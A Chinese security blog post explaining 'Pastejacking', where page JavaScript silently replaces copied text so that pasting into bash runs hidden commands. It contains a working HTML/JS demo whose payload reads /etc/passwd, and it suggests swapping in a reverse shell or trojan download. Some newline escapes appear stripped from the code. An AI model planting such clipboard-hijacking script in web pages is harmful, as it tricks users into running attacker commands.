专治复制粘贴癌症患者的Pastejacking - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

专治复制粘贴癌症患者的Pastejacking

whoamiecho web安全 2017-10-16 10:45:34
166523
收藏

导语:在linux bash下进行操作时难免因为懒,直接从别人的技术文章中复制相关的命令在bash下直接执行,为了治愈这种懒癌,应运而生的一种技术Pastejacking。

在linux bash下进行操作时难免因为懒,直接从别人的技术文章中复制相关的命令在bash下直接执行,为了治愈这种懒癌,应运而生的一种技术Pastejacking。原理很简单,通过js代码覆盖某人的剪贴板中的内容达到欺骗眼睛的效果。操作流程如下:

0.png

访问指定网页,选择相关内容,右键复制文字echo "not eval"。结果在记事本中粘贴出来的却是echo "not eval" ncat /etc/passwdnecho "eval"。如果懒癌患者直接粘贴相关的文字命令在bash中执行,由于加入了换行符,使得命令“自动执行”,发现时已经无力回天了。

00.png

000.png

如果吧cat /etc/passwd可以替换为反弹shell或者下载木马的脚本,就能实现一些意想不到的效果了。

关键代码:

0000.png

DOME:

<html>
    <body>
        复制如下内容到bash命令行下执行.
        </br>
        <p>echo "not evil"</p>
        <script>
            function copyTextToClipboard(text) {
              var textArea = document.createElement("textarea");
              textArea.style.position = 'fixed';
              textArea.style.top = 0;
              textArea.style.left = 0;
              textArea.style.width = '2em';
              textArea.style.height = '2em';
              textArea.style.padding = 0;
              // Clean up any borders.
              textArea.style.border = 'none';
              textArea.style.outline = 'none';
              textArea.style.boxShadow = 'none';
              // Avoid flash of white box if rendered for any reason.
              textArea.style.background = 'transparent';
              textArea.value = text;
              document.body.appendChild(textArea);
              textArea.select();
              try {
                var successful = document.execCommand('copy');
                var msg = successful ? 'successful' : 'unsuccessful';
                console.log('Copying text command was ' + msg);
              } catch (err) {
                console.log('Oops, unable to copy');
              }
              document.body.removeChild(textArea);
            }
            document.addEventListener('keydown', function(event) {
                var ms = 800;  
                var start = new Date().getTime();
                var end = start;
                while(end < start + ms) {
                    end = new Date().getTime();
                } 
                copyTextToClipboard('echo "not evil" ncat /etc/passwdn echo "evil" ');
            });
        </script>
    </body>
</html>


  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务